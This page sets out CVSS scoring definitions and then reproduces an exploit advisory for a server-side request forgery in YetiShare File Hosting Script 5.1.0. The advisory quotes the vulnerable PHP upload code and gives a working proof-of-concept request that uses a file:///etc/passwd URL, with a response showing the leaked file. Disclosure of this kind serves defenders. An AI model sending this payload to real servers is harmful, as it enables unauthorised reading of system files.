The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
Below is a copy: YetiShare File Hosting Script 5.1.0 Server-Side Request Forgery
# Title: YetiShare File Hosting Script 5.1.0 - 'url' Server-Side Request Forgery
# Date: 09.01.2021
# Author: Numan Trle
# Vendor Homepage: https://mfscripts.com
# Software Link: https://yetishare.com
# Version: v5.1.0
# Tested on: YetiShare - File Hosting Script v5.1.0, Php Version : 7.4
Summary
---------
YetiShare is script the file hosting. This script has remote file upload feature.
Since sufficient security measures are not taken in the remote file upload area,
SSRF vulnerability available.
Description
---------
When a new upload request is received by the user, the following function block
is called first.
app/tasks/process_remote_file_downloads.cron.php
------------------------------------------------
// include plugin code
$url = $urlDownloadData['url'];
$params = PluginHelper::includeAppends('url_upload_handler', array(
'url' => $url,
'rowId' => 0,
'urlDownloadData' => $urlDownloadData,
)
);
$url = $params['url'];
// start download
$upload_handler->handleRemoteUrlUpload($url);
------------------------------------------------
The url parameter received as input from the user in the called function blog is
sent to the "handleRemoteUrlUpload" function.
/Users/numan/Desktop/file-hosting-script-v5.0.0-beta/app/services/
Uploader.class.php
------------------------------------------------------------------
public function handleRemoteUrlUpload($url, $rowId = 0) {
.....
$remoteFileDetails = $this->getRemoteFileDetails($url);
$remoteFilesize = (int) $remoteFileDetails['bytes'];
if ($remoteFilesize > $this->options['max_file_size']) {
.....ERROR MSG
}
else {
// look for real filename if passed in headers
if (strlen($remoteFileDetails['real_filename'])) {
$realFilename = trim(current(explode(';',
$remoteFileDetails['real_filename'])));
if (strlen($realFilename)) {
$this->fileUpload->name = $realFilename;
}
}
// try to get the file locally
$localFile = $this->downloadRemoteFile($url, true);
------------------------------------------------------------------
In this function that is called, the details of the file are taken first and if
the bytes is not larger than the max_file_size, the "downloadRemoteFile"
function will go to the download.
------------------------------------------------------------------
public function getRemoteFileDetails($url) {
.....
$execute = curl_exec($ch);
// check if any error occured
if (!curl_errno($ch)) {
$rs['bytes'] = (int) curl_getinfo($ch,
CURLINFO_CONTENT_LENGTH_DOWNLOAD);
.....
------------------------------------------------------------------
------------------------------------------------------------------
public function downloadRemoteFile($url, $streamResponse = false) {
.....
// use curl
if (function_exists('curl_init')) {
// get file via curl
$fp = fopen($tmpFullPath, 'w+');
if ($ch === null) {
$ch = curl_init();
}
curl_setopt($ch, CURLOPT_URL, $url);
.....
curl_setopt($ch, CURLOPT_FILE, $fp);
if (curl_exec($ch) === false) {
// log error
LogHelper::error('Failed getting url. Error: '
. curl_error($ch) . ' (' . $url . ')');
return false;
}
$status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
fclose($fp);
.....
}
.....
------------------------------------------------------------------
POC
---------
GET /ajax/url_upload_handler?csaKey1=CSAKEY1&csaKey2=CSAKEY2&rowId=0&url=file:///etc/passwd&folderId=-1 HTTP/1.1
Host: target.com
Connection: close
Accept: */*
Cookie: HERE_COOKIE
Response
---------
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Connection: close
Pragma: no-cache
Content-Length: XXX
...<script>parent.updateUrlProgress({"done":{"name":"passwd","size":2082,
"type":"text\/plain; charset=us-ascii","error":null,"rowId":0,
"requestUrl":"file:\/\/\/etc\/passwd","url":....
..........
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
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